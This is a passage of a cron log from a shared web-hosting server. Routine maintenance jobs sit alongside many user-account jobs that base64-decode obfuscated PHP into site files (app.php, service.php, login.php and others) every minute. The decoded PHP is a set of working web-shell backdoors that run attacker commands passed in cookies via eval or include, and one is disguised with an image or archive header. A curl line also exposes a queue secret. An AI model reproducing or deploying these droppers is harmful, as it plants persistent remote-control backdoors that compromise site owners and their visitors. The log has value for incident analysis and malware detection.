"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:33:01 medusa CROND[31064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:33:01 medusa CROND[31065]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:33:01 medusa CROND[31066]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:33:01 medusa CROND[31077]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:33:01 medusa CROND[31081]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:33:01 medusa CROND[31098]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:33:01 medusa CROND[31074]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:34:01 medusa CROND[3820]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:34:01 medusa CROND[3944]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:34:01 medusa CROND[3945]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:34:01 medusa CROND[3946]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:34:01 medusa CROND[3947]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:34:01 medusa CROND[3948]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:34:01 medusa CROND[3952]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:34:01 medusa CROND[3950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:34:01 medusa CROND[3953]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:34:01 medusa CROND[3943]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:34:01 medusa CROND[3969]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:34:01 medusa CROND[3971]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:34:01 medusa CROND[3970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:35:01 medusa CROND[8679]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:35:01 medusa CROND[8686]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:35:01 medusa CROND[8703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:35:01 medusa CROND[8768]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:35:01 medusa CROND[8891]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:35:01 medusa CROND[8893]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:35:01 medusa CROND[8894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:35:01 medusa CROND[8895]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:35:01 medusa CROND[8896]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:35:01 medusa CROND[8897]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:35:01 medusa CROND[8899]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:35:01 medusa CROND[8898]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 01:35:01 medusa CROND[8902]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:35:01 medusa CROND[8904]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZX